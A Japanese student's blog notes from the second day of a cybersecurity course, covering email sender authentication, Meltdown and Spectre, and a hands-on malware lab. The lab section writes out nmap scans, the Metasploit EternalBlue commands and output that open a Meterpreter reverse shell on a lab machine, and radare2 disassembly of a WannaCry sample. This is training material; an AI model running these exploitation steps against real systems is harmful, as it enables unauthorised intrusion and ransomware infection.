やかんです。

サイバーセキュリティ2の2日目ということで、今日もメモっていきます。

講義メモ

午前中、最初は外部講師の方の話か。

  • DNSを利用したメールの送信ドメイン認証の仕組み
    • SPFとかDKIMとかの話か?DMARCとか。深い話だといいなあ。
  • BIMIってなんだ?
  • メールというものは、セキュリティの概念が強く登場する前に誕生した仕組み。だから、セキュリティ対策は基本的に後手に回るというか、パッチを当てるような形になるのか。
  • SMTPは1982年に誕生!
  • メールにはFromが2つある。
    • Envelope From
      • 現実の手紙における封筒の外に書くもの(だから住所とか)
    • Header From
      • 手紙自体に書くものだから、相手がわかればどんなものでも良い。
    • メールで一般に目にする差出人は、Header Fromの方。

OSとCPU自学

  • マイクロアーキテクチャ
  • サイドチャネル攻撃
  • やば、サイドチャネル攻撃のスライドめっちゃおもろい
  • サイドチャネル攻撃をしっかり理解するためには、物理法則に明るくある必要があるよな。
    • 「攻撃対象のハードウェアを物理的に観測することで、内部状態を知る」
    • 「ハードウェアの内部状態に応じて、観測結果が」変わると。
    • ↑でもこれしょうがないよねえ。。どう対策するんだろう。
  • CPUのカーネルモードとユーザモードの違いは説明できる?
    • カーネルモードは、OSとかの保護領域下にある命令も読めて実行できる、ユーザモードはそうじゃない。
  • Ethernetはプロセッサ、というかボードにも存在するのか。
    • 予想としては、SoCみたいな考え方で、チップ上のハードウェア間で通信を行うときに、Ethernet的な考え方がここにも適用可能だ、という話ではないだろうか。
    • ↑これ違うっぽいわ。Ethernetがボードに乗ってるんじゃなくて、Ethernetインターフェースが乗ってるってことか?であれば、ここでEthernetはNoC的な概念じゃないわ。
  • この辺の話は、まじでOSとコンピュータアーキテクチャでやった話だよな。

うわ、脆弱性の話すごい。。

  • まだちゃんと理解していないけど、分岐予測的な投機実行で、ヤバいところまで予測されて実行されちゃう。ヤバいと気づいた時にそれらの処理を無かったことにするが、キャッシュにはその処理について情報が残っている。このキャッシュを読まれると不都合が生じる。
  • ここで、アーキテクチャステート、マイクロアーキテクチャステートという2つの用語についてみる。
    • アーキテクチャステート:ソフトウェアから制御、観測可能な状態。レジスタの値とか。
    • マイクロアーキテクチャステート:キャッシュの中身など、ソフトウェアでは制御できず、観測もできない状態。
  • ↑マイクロアーキテクチャステートは、ソフトウェアが制御できない。キャッシュなどのハードウェア機構とソフトウェアはここにおいて、「ソフトウェアが知らない間に、ハードウェアがいい感じに最適化してくれている」みたいな構造だから、本来的にソフトウェアがこの中身を知る必要はない。あるいは、知る必要がないような仕組みを作ったらキャッシュができました、みたいなイメージではないだろうか。
  • ↑てなわけで、キャッシュなどマイクロアーキテクチャステートとしてヤバい情報が残っていると、ソフトウェアからは制御できないから明示的に消すことが難しいと。ここを、サイドチャネル攻撃で狙われるとヤバい情報が取られてしまう。

じゃあ、Meltdownってなんだ?いや、Spectreについてもまだ理解できてない部分があるな。

  • まずは、Meltdownの方がシンプルっぽいから、Meltdownから理解を試みる。

Meltdown、理解できた気がする。

  • 要は、「アクセス禁止の領域にメモリアクセス → 例外発生 → OSに制御移行」の流れが一連の流れとして実行されるならいいけど、OoOとかあることも考えると、一連の流れとしては実行されないだろう。例外発生してOSに制御が移行される前にキャッシュする処理を実行させれば、勝利。
  • ↑これ、例外発生からOSに制御が移るまでは、プロセッサをロックできたりしたら嬉しいのかな?

次に、Spectre。

  • うん?これMeltdownと何が違うんだ?
  • なんでパイプラインフラッシュが必要なの?

いや、これ、MeltdownとSpctreの違いを考え始めるとわからなくなるわ。わからん。頭で温めます。

OSとCPU講義

  • 前半はやはり、既習事項だからいいんだよね。
  • カーネルモードは、OSを実行することができるプロセッサの状態。これは適切にシステムコールが呼ばれた時じゃないと起動しない。
  • 分岐予測の正確性は現在05%くらいらしい。すごいな。
    • トランジスタの集積が進んで、メモリ容量が増える → 分岐予測に使用できる「記憶」が増える。
  • キャッシュにどういうデータが入っているか、というのはソフトウェアから見えない。
  • ソフトウェアが制御できないマイクロアーキテクチャステートが攻撃の狙い目なわけだ。
  • Meltdownは非常にシンプルでわかりやすい。OoOのプリミティブな話だからだ。
    • 例外でOSに制御がうつり、アーキテクチャステートが整えられても、マイクロアーキテクチャステートまで整えることはできないと。
  • てことは、権限違反なメモリアクセスがあっても、OSに制御が移行されるまでの間にうまいことすれば窃取可能ということか。
  • ソフトウェアによってマイクロアーキテクチャは制御できない。
  • あ、Spectreなんとなくわかったかも。これは、「どこがアクセス禁止なメモリ領域なのか知りたい」というモチベで行われる攻撃?
    • xにメモリアドレスとかを持たせてこれをインクリメントさせていき、、、ん?
  • Spctre攻撃においては、狙っているデータ以外にキャッシュされていない、的な条件が必要だよな。狙っているデータだけが目立ってアクセス速い、という場合のみに攻撃の目的が達成される。
    • また、一定のデータをキャッシュさせないことで、時間稼ぎをする側面もある。
  • 分岐予測が成功しちゃうと、やっていいはずのもの。

質問

  • Spctre攻撃で、なぜわざわざパイプラインフラッシュする必要があるのでしょうか?分岐予測が成功しても、「アクセス禁止のメモリ領域にアクセス → 例外発生 → OSに制御移行」のどこかでキャッシュすれば目的は達成されるのでは、という気がしました。
    • 分岐予測が成功したら、問題ないコードということになる。それは、何も悪意のないコード。
    • ↑これを強く意識して理解に取り組めば、何かしらわかるのではないだろうか!
  • Spectre攻撃は、アクセス禁止のメモリ領域がどこにあるかすでにわかっている場合の攻撃でしょうか?あるいは、このメモリ領域がどこにあるか探るための攻撃でしょうか?
    • ↑メモリ領域が知りたいのではなく、メモリの内容が知りたい。

OSとCPU講義を踏まえて自学

そもそも分岐予測ってなんだ?っていうのをコンピュータアーキテクチャの復習も兼ねておさらい。

  • 分岐予測は、パイプラインの高速化において制御ハザードの解消という文脈で登場する。
    • そもそもパイプラインは、パイプラインの段数分、命令が同時に処理フェーズに置かれる。
    • ある命令がExecute中に、他の命令がFetchされたりする。
  • わかったかもしれん。けど、これは投機的実行において範囲外参照があった場合に例外が発生しないということを要求する。
    • ↑これまじか?

LINEの鍵の話

  • この話面白い!
  • OWASP
    • waspはスズメバチなんか。
    • サイバーセキュリティ3とかで出てきた気がするな。

途中からただセキスペの試験範囲を網羅する時間になったから、それ以降はなんも聞いていない。

マルウェア演習

  • linuxにログインすると。
  • 10.0.1.54
  • nmapすると。
nmap 10.0.1.54
  • 出力をコピれないのか。空いているポートを探索するためのコマンドなのか?基本的にポートは閉じていたいと。
MAC Address: 00:0C:29:C6:E6:BD (VMware)
Device type: general purpose
Running: Microsoft Windows 7|2008|8.1
OS CPE: cpe:/o:microsoft:windows_7::- cpe:/o:micr
osoft:windows_7::sp1 cpe:/o:microsoft:windows_ser
ver_2008::sp1 cpe:/o:microsoft:windows_server_200
8:r2 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:
windows_8.1
OS details: Microsoft Windows 7 SP0 - SP1, Window
s Server 2008 SP1, Windows Server 2008 R2, Window
s 8, or Windows 8.1 Update 1
Network Distance: 1 hop

OS detection performed. Please report any incorre
ct results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16
.39 seconds

コピれた。

この上部の出力が以下。

Host is up (0.000090s latency).
Not shown: 985 closed ports
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
554/tcp   open  rtsp
2869/tcp  open  icslap
3389/tcp  open  ms-wbt-server
5800/tcp  open  vnc-http
5900/tcp  open  vnc
10243/tcp open  unknown
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49156/tcp open  unknown
49158/tcp open  unknown

これは、

sudo nmap -O 10.0.1.54

でOSまで調べられるという話らしい。

I love shells --egypt

↑これなんだっけ?見覚えがある。

Matching Modules
================

   #   Name                                      
     Disclosure Date  Rank     Check  Description
   -   ----                                      
     ---------------  ----     -----  -----------
   0   exploit/windows/smb/ms17_010_eternalblue  
     2017-03-14       average  Yes    MS17-010 Et
ernalBlue SMB Remote Windows Kernel Pool Corrupti
on
   1     \_ target: Automatic Target             
     .                .        .      .
   2     \_ target: Windows 7                    
     .                .        .      .
   3     \_ target: Windows Embedded Standard 7  
     .                .        .      .
   4     \_ target: Windows Server 2008 R2       
     .                .        .

...

   24  auxiliary/scanner/smb/smb_ms17_010        
     .                normal   No     MS17-010 SM
B RCE Detection
   25    \_ AKA: DOUBLEPULSAR                    
     .                .        .      .
   26    \_ AKA: ETERNALBLUE                     
     .                .        .      .
   27  exploit/windows/smb/smb_doublepulsar_rce  
     2017-04-14       great    Yes    SMB DOUBLEP
ULSAR Remote Code Execution
   28    \_ target: Execute payload (x64)        
     .                .        .      .
   29    \_ target: Neutralize implant           
     .                .        .      .


Interact with a module by name or index. For exam
ple info 29, use 29 or use exploit/windows/smb/sm
b_doublepulsar_rce
After interacting with a module you can manually 
set a TARGET with set TARGET 'Neutralize implant'
  • port = 4404

exploitしたら以下

exploit

[*] Started reverse TCP handler on 10.0.1.25:4404 
[*] 10.0.1.54:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.0.1.54:445         - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Ser
vice Pack 1 x64 (64-bit)
[*] 10.0.1.54:445         - Scanned 1 of 1 hosts (100% complete)
[+] 10.0.1.54:445 - The target is vulnerable.
[*] 10.0.1.54:445 - Connecting to target for exploitation.
[+] 10.0.1.54:445 - Connection established for exploitation.
[+] 10.0.1.54:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.0.1.54:445 - CORE raw buffer dump (42 bytes)
[*] 10.0.1.54:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.0.1.54:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.0.1.54:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1      
[+] 10.0.1.54:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.0.1.54:445 - Trying exploit with 12 Groom Allocations.
[*] 10.0.1.54:445 - Sending all but last fragment of exploit packet
[*] 10.0.1.54:445 - Starting non-paged pool grooming
[+] 10.0.1.54:445 - Sending SMBv2 buffers
[+] 10.0.1.54:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.0.1.54:445 - Sending final SMBv2 buffers.

あれ、ミスってる?

[-] 10.0.1.54:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.0.1.54:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.0.1.54:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] 10.0.1.54:445 - Connecting to target for exploitation.

↑対象となるwindowsに入り込めるはずなわけか。↓これがwinした時。

msf6 > use exploit/windows/smb/ms17_010_eternalblue 
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.0.1.54
RHOSTS => 10.0.1.54
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 10.0.1.25
LHOST => 10.0.1.25
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 4404
LPORT => 4404
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

あれ、接続できない。

 nmap 10.0.1.54
Starting Nmap 7.80 ( https://nmap.org ) at 2024-08-06 16:45 JST
Nmap scan report for 10.0.1.54
Host is up (0.000047s latency).
Not shown: 985 closed ports
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
554/tcp   open  rtsp
2869/tcp  open  icslap
3389/tcp  open  ms-wbt-server
5800/tcp  open  vnc-http
5900/tcp  open  vnc
10243/tcp open  unknown
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49156/tcp open  unknown
49158/tcp open  unknown

意外と閉じてね?

「同時接続の使用制限に達したため、Guacamoleサーバーはこの接続へのアクセスを拒否しています。1つ以上の接続を閉じてからやり直してください。」

ふむ。

exploit

[*] Started reverse TCP handler on 10.0.1.25:4404 
[*] 10.0.1.54:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[-] 10.0.1.54:445         - An SMB Login Error occurred while connecting to the IPC$ tree.
[*] 10.0.1.54:445         - Scanned 1 of 1 hosts (100% complete)
[-] 10.0.1.54:445 - The target is not vulnerable.
[*] Exploit completed, but no session was created.

あら。

eternalblue以外のツール使ってもダメだし、これシンプルにタイムアウトしているだけなのでは?

10.0.1.193

4543

へー、一回failしてwinする場合もあるのか。

[*] 10.0.1.193:445 - Connecting to target for exploitation.
[+] 10.0.1.193:445 - Connection established for exploitation.
[+] 10.0.1.193:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.0.1.193:445 - CORE raw buffer dump (42 bytes)
[*] 10.0.1.193:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.0.1.193:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.0.1.193:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1      
[+] 10.0.1.193:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.0.1.193:445 - Trying exploit with 12 Groom Allocations.
[*] 10.0.1.193:445 - Sending all but last fragment of exploit packet
[*] 10.0.1.193:445 - Starting non-paged pool grooming
[+] 10.0.1.193:445 - Sending SMBv2 buffers
[+] 10.0.1.193:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.0.1.193:445 - Sending final SMBv2 buffers.
[*] 10.0.1.193:445 - Sending last fragment of exploit packet!
[*] 10.0.1.193:445 - Receiving response from exploit packet
[+] 10.0.1.193:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.0.1.193:445 - Sending egg to corrupted connection.
[*] 10.0.1.193:445 - Triggering free of corrupted buffer.
[-] 10.0.1.193:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.0.1.193:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.0.1.193:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] 10.0.1.193:445 - Connecting to target for exploitation.
[+] 10.0.1.193:445 - Connection established for exploitation.
[+] 10.0.1.193:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.0.1.193:445 - CORE raw buffer dump (42 bytes)
[*] 10.0.1.193:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.0.1.193:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.0.1.193:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1      
[+] 10.0.1.193:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.0.1.193:445 - Trying exploit with 17 Groom Allocations.
[*] 10.0.1.193:445 - Sending all but last fragment of exploit packet
[*] 10.0.1.193:445 - Starting non-paged pool grooming
[+] 10.0.1.193:445 - Sending SMBv2 buffers
[+] 10.0.1.193:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.0.1.193:445 - Sending final SMBv2 buffers.
[*] 10.0.1.193:445 - Sending last fragment of exploit packet!
[*] 10.0.1.193:445 - Receiving response from exploit packet
[+] 10.0.1.193:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.0.1.193:445 - Sending egg to corrupted connection.
[*] 10.0.1.193:445 - Triggering free of corrupted buffer.
[*] Sending stage (201798 bytes) to 10.0.1.193
[+] 10.0.1.193:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.0.1.193:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.0.1.193:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Meterpreter session 1 opened (10.0.1.25:4543 -> 10.0.1.193:54093) at 2024-08-06 17:07:02 +0900

meterpreter > 

てなわけで、r2に行く。

iI
arch     x86
baddr    0x400000
binsz    10871
bintype  elf
bits     64
canary   false
class    ELF64
compiler GCC: (GNU) 8.3.1 20191121 (Red Hat 8.3.1-5)
crypto   false
endian   little
havecode true
intrp    /lib64/ld-linux-x86-64.so.2
laddr    0x0
lang     c
linenum  true
lsyms    true
machine  AMD x86-64 architecture
nx       true
os       linux
pic      false
relocs   true
relro    partial
rpath    NONE
sanitize false
static   false
stripped false
subsys   linux
 aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze all functions arguments/locals
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Finding and parsing C++ vtables (avrr)
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information (aanr)
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x004004f0]> aan
[0x004004f0]> afl
0x004004f0    1 46           entry0
0x00400530    4 41   -> 34   sym.deregister_tm_clones
0x00400560    4 57   -> 51   sym.register_tm_clones
0x004005a0    3 33   -> 32   sym.__do_global_dtors_aux
0x004005d0    1 6            entry.init0
0x00400680    1 5            sym.__libc_csu_fini
0x00400688    1 13           sym._fini
0x00400610    4 101          loc..annobin_elf_init.c
0x00400520    1 5            loc..annobin_static_reloc.c
0x004005d6    1 52           main
0x004004d0    1 6            sym.imp.printf
0x004004e0    1 6            sym.imp.exit

↑関数名を列挙できるらしい。ファイルの解析ね。

動的解析をmetasploitで終えたのか?動的だったのか?あれは。

r2は、逆アセンブルか。機械語から逆アセンブルして元のプログラミング言語っぽいものを取得して、怪しい実行ファイルじゃないかとかを確認すると。

pdf @ main
            ; DATA XREF from entry0 @ 0x400511(r)
┌ 52: int main (int argc, char **argv);
│           ; arg int argc @ rdi
│           ; arg char **argv @ rsi
│           ; var int64_t var_4h @ rbp-0x4
│           ; var int64_t var_14h @ rbp-0x14
│           ; var char **var_20h @ rbp-0x20
│           0x004005d6      55             push rbp
│           0x004005d7      4889e5         mov rbp, rsp
│           0x004005da      4883ec20       sub rsp, 0x20
│           0x004005de      897dec         mov dword [var_14h], edi    ; argc
│           0x004005e1      488975e0       mov qword [var_20h], rsi    ; argv
│           0x004005e5      c745fc0a0000.  mov dword [var_4h], 0xa
│           0x004005ec      8b45fc         mov eax, dword [var_4h]
│           0x004005ef      89c6           mov esi, eax
│           0x004005f1      bfa8064000     mov edi, 0x4006a8           ; const char *format
│           0x004005f6      b800000000     mov eax, 0
│           0x004005fb      e8d0feffff     call sym.imp.printf         ; int printf(const char *format)
│           0x00400600      bf00000000     mov edi, 0                  ; int status
└           0x00400605      e8d6feffff     call sym.imp.exit           ; void exit(int status)

これら、めっちゃ見づらいけど逆アセンブルして取得したものだと思うとすごいよな。。。でも全然わからん。アセンブルはなんとなくわかるが。

次に、別なファイル。

まずは表層解析。

iI
arch     x86
baddr    0x400000
binsz    3514368
bintype  pe
bits     32
canary   true
retguard false
class    PE32
cmp.csum 0x00363012
compiled Sat Nov 20 18:05:05 2010
crypto   false
endian   little
havecode true
hdr.csum 0x00000000
laddr    0x0
lang     msvc
linenum  true
lsyms    true
machine  i386
nx       false
os       windows
overlay  false
cc       cdecl
pic      false
relocs   true
signed   false
sanitize false
static   false
stripped false
subsys   Windows GUI
va       true

windowsね。危なそう。

afl
0x004077ba   15 338          entry0
0x00401fe7   15 391          main
0x004076b4    1 6            sub.MSVCRT.dll_strlen
0x004076c8    1 31           fcn.004076c8
0x004017dd    1 34           sub.KERNEL32.dll_InitializeCriticalSection_4017dd
0x00402a46    1 13           fcn.00402a46
0x0040137a    1 84           fcn.0040137a
0x004013ce    8 105          sub.KERNEL32.dll_GlobalFree_4013ce
0x00402a6f    1 7            fcn.00402a6f
0x0040181b    1 17           sub.KERNEL32.dll_DeleteCriticalSection_40181b
0x004076e8    1 6            sub.MSVCRT.dll_void___cdecl_operator_delete_void__
0x004018b9    7 64           sub.ADVAPI32.dll_CryptReleaseContext_4018b9
0x00401861    8 88           fcn.00401861
0x004076ee    1 6            sub.MSVCRT.dll_memcmp
0x004019e1    6 100          sub.KERNEL32.dll_EnterCriticalSection_4019e1
0x00402a76   58 1032         sub.MSVCRT.dll_public:_void___thiscall_exception::constructor_char_const__const_const___402a76
0x00403a77   16 351          sub.MSVCRT.dll_public:_void___thiscall_exception::constructor_char_const__const_const___403a77
0x004076fa    1 6            sub.MSVCRT.dll__local_unwind2
0x00401a45   11 177          sub.advapi32.dll_401a45
0x0040182c    5 53           sub.Microsoft_Enhanced_RSA_and_AES_Cryptographic_Provider_40182c
0x004018f9    9 232  -> 199  sub.KERNEL32.dll_CreateFileA_4018f9
0x00407706    1 6            sub.MSVCRT.dll_memcpy
0x00401af6    7 105          sub.KERNEL32.dll_CreateDirectoryW_401af6
0x004075ad    1 23           fcn.004075ad
0x004074a4    9 131          fcn.004074a4
0x004075c4    6 63           fcn.004075c4
0x00407740    1 6            sub.MSVCRT

aflもっと続くわ。えぐいファイルだ。

なんかかっけえ。

pdf @ main
            ; CALL XREF from entry0 @ 0x4078e9(x)
┌ 391: int main (int argc, char **argv, char **envp);
│           ; var int32_t var_4h @ ebp-0x4
│           ; var int32_t var_20bh @ ebp-0x20b
│           ; var LPSTR lpExistingFileName @ ebp-0x20c
│           ; var int32_t var_6e4h @ ebp-0x6e4
│           0x00401fe7      55             push ebp
│           0x00401fe8      8bec           mov ebp, esp
│           0x00401fea      81ece4060000   sub esp, 0x6e4
│           0x00401ff0      a010f94000     mov al, byte [0x40f910]     ; [0x40f910:1]=0
│           0x00401ff5      53             push ebx
│           0x00401ff6      56             push esi
│           0x00401ff7      57             push edi
│           0x00401ff8      8885f4fdffff   mov byte [lpExistingFileName], al
│           0x00401ffe      b981000000     mov ecx, 0x81               ; 129
│           0x00402003      33c0           xor eax, eax
│           0x00402005      8dbdf5fdffff   lea edi, [var_20bh]
│           0x0040200b      f3ab           rep stosd dword es:[edi], eax
│           0x0040200d      66ab           stosw word es:[edi], ax
│           0x0040200f      aa             stosb byte es:[edi], al
│           0x00402010      8d85f4fdffff   lea eax, [lpExistingFileName]
│           0x00402016      6808020000     push 0x208                  ; 520 ; DWORD nSize
│           0x0040201b      33db           xor ebx, ebx
│           0x0040201d      50             push eax                    ; LPSTR lpFilename
│           0x0040201e      53             push ebx                    ; HMODULE hModule
│           0x0040201f      ff158c804000   call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA] ; 0x40808c ; DWORD GetModuleFileNameA(HMODULE hMod
ule, LPSTR lpFilename, DWORD nSize)
│           0x00402025      68acf84000     push 0x40f8ac               ; int32_t arg_8h
│           0x0040202a      e8f6f1ffff     call sub.KERNEL32.dll_GetComputerNameW_401225 ; BOOL GetComputerNameW(LPWSTR lpBuffer, LPDWORD nSize)
│           0x0040202f      59             pop ecx
│           0x00402030      ff156c814000   call dword [sym.imp.MSVCRT.dll___p___argc] ; 0x40816c
│           0x00402036      833802         cmp dword [eax], 2
│       ┌─< 0x00402039      7553           jne 0x40208e
│       │   0x0040203b      6838f54000     push 0x40f538               ; "/i" ; const char *s2
│       │   0x00402040      ff1568814000   call dword [sym.imp.MSVCRT.dll___p___argv] ; 0x408168
│       │   0x00402046      8b00           mov eax, dword [eax]
│       │   0x00402048      ff7004         push dword [eax + 4]        ; const char *s1
│       │   0x0040204b      e8f0560000     call sub.MSVCRT.dll_strcmp  ; int strcmp(const char *s1, const char *s2)
│       │   0x00402050      59             pop ecx
│       │   0x00402051      85c0           test eax, eax
│       │   0x00402053      59             pop ecx
│      ┌──< 0x00402054      7538           jne 0x40208e
│      ││   0x00402056      53             push ebx                    ; int32_t arg_8h
│      ││   0x00402057      e803fbffff     call sub.KERNEL32.dll_MultiByteToWideChar_401b5f
│      ││   0x0040205c      85c0           test eax, eax
│      ││   0x0040205e      59             pop ecx
│     ┌───< 0x0040205f      742d           je 0x40208e
│   │       0x004020f5      e810f6ffff     call sub.kernel32.dll_40170a
│   │       0x004020fa      85c0           test eax, eax
│   │   ┌─< 0x004020fc      7467           je 0x402165
│   │   │   0x004020fe      8d8d1cf9ffff   lea ecx, [var_6e4h]
│   │   │   0x00402104      e8f4f1ffff     call fcn.004012fd
│   │   │   0x00402109      53             push ebx
│   │   │   0x0040210a      53             push ebx
│   │   │   0x0040210b      53             push ebx                    ; uint32_t arg_10h
│   │   │   0x0040210c      8d8d1cf9ffff   lea ecx, [var_6e4h]
│   │   │   0x00402112      e820f3ffff     call sub.KERNEL32.dll_GlobalAlloc_401437 ; HGLOBAL GlobalAlloc(UINT uFlags, SIZE_T dwBytes)
│   │   │   0x00402117      85c0           test eax, eax
│   │  ┌──< 0x00402119      743f           je 0x40215a
│   │  ││   0x0040211b      8d45fc         lea eax, [var_4h]
│   │  ││   0x0040211e      8d8d1cf9ffff   lea ecx, [var_6e4h]
│   │  ││   0x00402124      50             push eax                    ; int32_t arg_ch
│   │  ││   0x00402125      68f4f44000     push 0x40f4f4               ; "t.wnry" ; LPCSTR lpFileName
│   │  ││   0x0040212a      895dfc         mov dword [var_4h], ebx
│   │  ││   0x0040212d      e874f3ffff     call sub.KERNEL32.dll_CreateFileA_4014a6
│   │  ││   0x00402132      3bc3           cmp eax, ebx
│   │ ┌───< 0x00402134      7424           je 0x40215a
│   │ │││   0x00402136      ff75fc         push dword [var_4h]         ; int32_t arg_20h
│   │ │││   0x00402139      50             push eax                    ; int32_t arg_20h_2
│   │ │││   0x0040213a      e87e000000     call fcn.004021bd
│   │ │││   0x0040213f      59             pop ecx
│   │ │││   0x00402140      3bc3           cmp eax, ebx
│   │ │││   0x00402142      59             pop ecx
│   │┌────< 0x00402143      7415           je 0x40215a
│   │││││   0x00402145      68e8f44000     push str.TaskStart          ; 0x40f4e8 ; "TaskStart" ; int32_t arg_ch
│   │││││   0x0040214a      50             push eax                    ; int32_t arg_8h
│   │││││   0x0040214b      e8d4070000     call sub.MSVCRT.dll__stricmp_402924
│   │││││   0x00402150      59             pop ecx
│   │││││   0x00402151      3bc3           cmp eax, ebx
│   │││││   0x00402153      59             pop ecx
│  ┌──────< 0x00402154      7404           je 0x40215a
│  ││││││   0x00402156      53             push ebx
│  ││││││   0x00402157      53             push ebx
│  ││││││   0x00402158      ffd0           call eax
│  ││││││   ; CODE XREFS from main @ 0x402119(x), 0x402134(x), 0x402143(x), 0x402154(x)
│  └─└└└──> 0x0040215a      8d8d1cf9ffff   lea ecx, [var_6e4h]
│   │   │   0x00402160      e815f2ffff     call fcn.0040137a
│   │   │   ; CODE XREFS from main @ 0x402088(x), 0x4020fc(x)
│   └───└─> 0x00402165      5f             pop edi
│           0x00402166      5e             pop esi
│           0x00402167      33c0           xor eax, eax
│           0x00402169      5b             pop ebx
│           0x0040216a      c9             leave
└           0x0040216b      c21000         ret 0x10

おー、全然わからんけど。

一個一個アセンブリ言語を見ていけばわかるかもだが、そもそもこのアセンブリ言語は機械語をもとに逆アセンブルしたものだから、その正確性は担保されていない。

↑これはwanna cryらしい。いや、見てもわからんけど、わかる人にはわかるのか。

確かにこの辺怪しい↓

 BOOL CreateProcessA(LPCSTR lpApplicationName, LPSTR lpCom
mandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID
 lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation)

てか、コンパイラつく人も天才だけど、逆アセンブラ作る人も天才すぎるだろ。。

実行ファイルを静的に解析すると。えぐいことするよなあ。。

wanna cry起動してみた。

これ怖すぎだろ。。手も足も出ないでしょこんなの。想像以上の迫力。

振り返り

今日の内容むずかったね。特にSpctre。でも理解深まった感あってありがたい。metasploitとかも実際に使えたのすごい貴重な経験な気がする。wanna cryも怖すぎるな。。

ということで本日もお疲れ様でございました。明日が最終日ですね。頑張っていきます。最後までお読みいただき、ありがとうございます。